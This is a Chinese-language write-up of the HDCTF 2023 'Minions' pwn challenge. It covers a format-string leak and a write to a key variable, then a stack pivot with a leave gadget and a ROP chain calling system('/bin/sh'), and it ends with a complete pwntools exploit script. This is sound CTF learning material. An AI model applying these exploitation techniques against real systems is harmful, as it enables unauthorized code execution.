Featured image of post HDCTF_2023 Minions wp

HDCTF_2023 Minions wp

字数: 1108

先是格式化字符串漏洞,然后反手就是栈迁移,还好留了一手没让我去找 libc。

题面

给二进制文件

分析

checksec 查看保护:

1
2
3
4
5
6
7
8
❯ pwn checksec ./minions1
[*] '/data/project/ctf-repo/pwn/nssctf/HDCTF_2023-Minions/minions1'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    Stripped:   No

开了 NX 保护,其他没有。
ida pro 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF

  init(argc, argv, envp);
  vuln();
  puts("\nDo you have an invitation key?");
  if ( key == 102 )
  {
    puts("welcome,tell me more about you");
    read(0, buf, 0x40u);
    puts("That's great.Do you like Minions?");
    read(0, &hdctf, 0x28u);
  }
  else
  {
    puts("sorry,you can't in");
  }
  return 0;
}

int vuln()
{
  char buf[208]; // [rsp+0h] [rbp-D0h] BYREF

  puts("Welcome to HDCTF.What you name?\n");
  read(0, buf, 0xD0u);
  printf("Hello,");
  return printf(buf);
}

这里 key 是 .bss 下的变量。需要 key == 102 才能进入两次 read。
vuln 提供了格式化字符串漏洞可以利用。
两次读写,第一次读写到栈上,buf 在 rdp - 0x30 位置,也就是溢出后刚好之后把 ret address 覆盖,栈溢出空间过小,可以考虑栈溢出。
hdbuf 是 .bss 上的空间,根据 ida pro 分析 hdbuf 只有 0x2f 空间,比栈上 buf 还小。
同时可以看到程序有调用 system 的函数,也就是说,system@got 是存在的:

1
2
3
4
int sub_40075A()
{
  return system("echo HDCTF");
}

这样构造 ROP 就好办了。

利用

可以确定需要栈迁移以构建足够的 ROP 链。
这样看来可以直接把 rbp 往后挪到 buf 的最开始位置就好,这样也方便构建 rop 链。
这时候,vuln 的 printf 除了改写 key 的数值之外,还需要拿来获取 rbp 存储的 old_rdp 的值,以获得 main 的 rbp 地址以此获得 buf 的地址。

先用 %p 测出 printf 的偏移量为 6,我首先尝试的是 %n 直接改写 key 可以成功,但是还需要获得 rbp 的值,保险起见获得 rbp 的 %n$p 放最前面比较好。先用 pwn 在 printf 打断点,查看偏移量: 这时候推荐把 pwntools 的日志输出设为 debug 方面我们查看输出。
看到日志输出 Hello 后,就说明到了带漏洞的 printf 里,这时候 stack 30 查看:

rbp 此时偏移在 0x1b 而 buf 在 0x1 ,再加上偏移量 6 有: 0x1b - 0x1 + 6 = 32,也就是要获得 rbp 的值需要用 %32$p。

输出地址长度为 14 字节,之后要通过 %n 写入 102 到 key,需要写 102 - 14。然后进行一轮填充对齐加上 key 的地址,最后获得:

1
2
3
payload0 = f"%32$p%{102 - 14}c%8$naaa".encode() + p64(key_addr)
io.recvuntil(b"name?")
io.sendline(payload0)

然后读取 rbp:

1
2
3
io.recvuntil(b"0x")
rdp = int(io.recvuntil(b" ")[:-1], 16)
print("rdp = ", hex(rdp))

和 gdb 对一下确保得到的 rbp 是正确的。

通过 ida pro 可以知道 buf 在 rbp - 0x30 的位置,所以要把新的 rbp 放在 rbp - 0x30 的位置,开始进行栈迁移。

1
new_rdp = rdp - 0x30

接下来进入两次 read,第一次 read 往 buf 写入 ROP ,覆盖 rbp 并且把 ret address 设置为 leave 完成栈迁移。

1
2
3
4
5
6
7
payload1 = p64(0) + p64(ret_addr) + p64(rdi_addr) + p64(hdctf) + p64(system_plt)
payload1 = payload1.ljust(0x30, b"\x00")
payload1 += p64(new_rdp)
payload1 += p64(leave)

io.recvuntil(b"you")
io.send(payload1)

别忘了 leave 会吞掉第一个 8 字节,后面先 ret 对齐,放入 system("/bin/sh\x00") 需要的 ROP,这里把 /bin/sh\x00 放在之后 bss 段的 hdctf 变量里。

1
2
3
io.recvuntil(b"Minions?")
payload2 = b"/bin/sh\x00"
io.sendline(payload2)

之后就可以拿到 shell 了。

1
io.interactive()

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

io = process("./minions1")
#io = remote("node5.anna.nssctf.cn", 29705)
elf = ELF("./minions1")
context.log_level = "debug"

rdi_addr = 0x400893
ret_addr = 0x400581
key_addr = 0x6010A0  # dd 4 字节
leave = 0x400758
hdctf = 0x6010C0

system_plt = elf.plt["system"]

# offset = 6
payload0 = f"%32$p%{102 - 14}c%8$naaa".encode() + p64(key_addr)
io.recvuntil(b"name?")
io.sendline(payload0)

io.recvuntil(b"0x")
rdp = int(io.recvuntil(b" ")[:-1], 16)
print("rdp = ", hex(rdp))
new_rdp = rdp - 0x30

# ---------------------------------

payload1 = p64(0) + p64(ret_addr) + p64(rdi_addr) + p64(hdctf) + p64(system_plt)
payload1 = payload1.ljust(0x30, b"\x00")
payload1 += p64(new_rdp)
payload1 += p64(leave)

io.recvuntil(b"you")
io.send(payload1)

# ---------------------------------

io.recvuntil(b"Minions?")
payload2 = b"/bin/sh\x00"
io.sendline(payload2)
io.interactive()